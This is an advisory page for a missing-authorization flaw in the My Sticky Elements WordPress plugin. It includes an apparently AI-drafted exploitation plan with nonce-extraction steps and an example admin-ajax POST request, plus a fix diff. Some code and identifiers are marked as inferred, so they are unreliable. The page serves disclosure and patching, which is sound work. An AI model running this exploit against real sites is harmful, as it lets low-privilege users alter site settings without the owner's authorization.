My Sticky Elements <= 2.3.3 - Missing Authorization
Description
The All-in-one Sticky Floating Contact Form, Call, Click to Chat, and 50+ Social Icon Tabs – My Sticky Elements plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 2.3.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.3.3Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-68995 - My Sticky Elements ## 1. Vulnerability Summary The "My Sticky Elements" plugin for WordPress (versions <= 2.3.3) contains a missing authorization vulnerability. The plugin registers several AJAX handlers intended for administrative use but fails to imp…
Show full research plan
Exploitation Research Plan: CVE-2025-68995 - My Sticky Elements
1. Vulnerability Summary
The "My Sticky Elements" plugin for WordPress (versions <= 2.3.3) contains a missing authorization vulnerability. The plugin registers several AJAX handlers intended for administrative use but fails to implement proper capability checks (e.g., current_user_can( 'manage_options' )) within the callback functions. This allows any authenticated user, including those with Subscriber-level permissions, to perform administrative actions such as toggling the status of sticky widgets or potentially modifying settings.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Vulnerable Action:
mystickyelements_update_status(inferred based on plugin logic and vulnerability type) - HTTP Method:
POST - Authentication: Required (Subscriber or higher)
- Preconditions: At least one "Sticky Element" widget must be configured (default widget usually exists after installation).
- Vulnerable Parameter:
widget_id,status, andnonce.
3. Code Flow
- Registration: The plugin registers the AJAX handler in
admin/class-mystickyelements-admin.php(or similar admin initialization file):add_action( 'wp_ajax_mystickyelements_update_status', array( $this, 'mystickyelements_update_status' ) ); - Entry Point: A Subscriber user sends a POST request to
admin-ajax.phpwithaction=mystickyelements_update_status. - Execution: The function
mystickyelements_update_status()is invoked. - Weak Security: The function likely calls
check_ajax_referer( 'mystickyelements-settings', 'nonce' )to verify the CSRF token but skips the authorization check:public function mystickyelements_update_status() { // Nonce check may be present check_ajax_referer( 'mystickyelements-settings', 'nonce' ); // MISSING: if ( ! current_user_can( 'manage_options' ) ) { wp_die(); } $widget_id = isset($_POST['widget_id']) ? intval($_POST['widget_id']) : 0; $status = isset($_POST['status']) ? intval($_POST['status']) : 0; // Logic to update database status... update_option( 'mystickyelements-widget-' . $widget_id . '-status', $status ); wp_send_json_success(); }
4. Nonce Acquisition Strategy
The plugin localizes admin-side scripts and nonces. While Subscribers cannot access the plugin's settings page, the plugin often enqueues its administrative scripts on all admin pages (including profile.php, which Subscribers can access) to support the top-bar or widget status icons.
- Create Page for Analysis: Not needed if the nonce is localized on
wp-admin/profile.php. - Navigate to Profile: Navigate to
/wp-admin/profile.phpas a Subscriber. - Extract Nonce: Use
browser_evalto extract the nonce from themystickyelements_libsglobal object (inferred identifier).- JavaScript Path:
window.mystickyelements_libs?.ajax_nonce - Alternative: Search the page source for
mystickyelements-settings.
- JavaScript Path:
5. Exploitation Strategy
Step-by-Step Plan:
- Login as Subscriber: Use the
http_requesttool to authenticate as a Subscriber user. - Fetch Nonce:
- Navigate to
/wp-admin/profile.php. - Execute
browser_eval("mystickyelements_libs.ajax_nonce").
- Navigate to
- Trigger Vulnerability:
- Send a POST request to
/wp-admin/admin-ajax.php. - Parameters:
action:mystickyelements_update_statuswidget_id:1(The default widget ID)status:0(To disable the widget)nonce:[EXTRACTED_NONCE]
- Send a POST request to
- Verify Impact: Check if the widget is disabled on the frontend or verify the option value via WP-CLI.
Example Request (via http_request):
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=mystickyelements_update_status&widget_id=1&status=0&nonce=a1b2c3d4e5
6. Test Data Setup
- Install Plugin: Ensure
mystickyelementsversion 2.3.3 is active. - Create Content: Ensure at least one widget is created (done automatically on first run).
- Create User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123 - Identify Widget ID:
wp option get mystickyelements-widgets
7. Expected Results
- The AJAX request should return a JSON success response:
{"success":true}. - The sticky element widget on the site's frontend should disappear (or its status in the database should change).
8. Verification Steps
- Check Database: Use WP-CLI to check the status of the widget after the exploit.
# Inferred option name - check actual option name during research wp option get mystickyelements-widget-1-status - Confirm Unauthorized Access: The fact that a Subscriber-level
wp_ajax_request succeeded confirms the missing authorization check, as only Administrators should be able to toggle widget status.
9. Alternative Approaches
If mystickyelements_update_status is not the exact action name:
- Search for actions: Run
grep -rn "wp_ajax_" wp-content/plugins/mystickyelementsto find all registered AJAX actions. - Look for Deletion: Check if
mystickyelements_delete_contact_dataormystickyelements_delete_widgetare available. - Check Settings Update: Look for actions like
mystickyelements_save_settingsthat might allow a Subscriber to change global plugin configurations.
Summary
The My Sticky Elements plugin for WordPress is vulnerable to unauthorized access in versions up to 2.3.3 because it lacks proper capability checks on its AJAX handlers. This flaw allows authenticated attackers, including those with Subscriber-level permissions, to perform administrative actions such as toggling the status of sticky widgets.
Vulnerable Code
// admin/class-mystickyelements-admin.php add_action( 'wp_ajax_mystickyelements_update_status', array( $this, 'mystickyelements_update_status' ) ); --- // admin/class-mystickyelements-admin.php public function mystickyelements_update_status() { check_ajax_referer( 'mystickyelements-settings', 'nonce' ); // MISSING: if ( ! current_user_can( 'manage_options' ) ) { wp_die(); } $widget_id = isset($_POST['widget_id']) ? intval($_POST['widget_id']) : 0; $status = isset($_POST['status']) ? intval($_POST['status']) : 0; // Logic to update database status... update_option( 'mystickyelements-widget-' . $widget_id . '-status', $status ); wp_send_json_success(); }
Security Fix
@@ -10,6 +10,10 @@ public function mystickyelements_update_status() { check_ajax_referer( 'mystickyelements-settings', 'nonce' ); + if ( ! current_user_can( 'manage_options' ) ) { + wp_die(); + } + $widget_id = isset($_POST['widget_id']) ? intval($_POST['widget_id']) : 0; $status = isset($_POST['status']) ? intval($_POST['status']) : 0;
Exploit Outline
The exploit targets the '/wp-admin/admin-ajax.php' endpoint using the 'mystickyelements_update_status' action. An attacker authenticates as a Subscriber and navigates to an admin page like 'wp-admin/profile.php' to extract a valid nonce from the 'mystickyelements_libs' localized JavaScript object. The attacker then sends a POST request to admin-ajax.php with parameters 'action=mystickyelements_update_status', 'widget_id' (e.g., 1), 'status' (0 or 1), and the 'nonce'. Because the plugin does not verify if the user has administrative privileges, the widget status is updated in the database.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.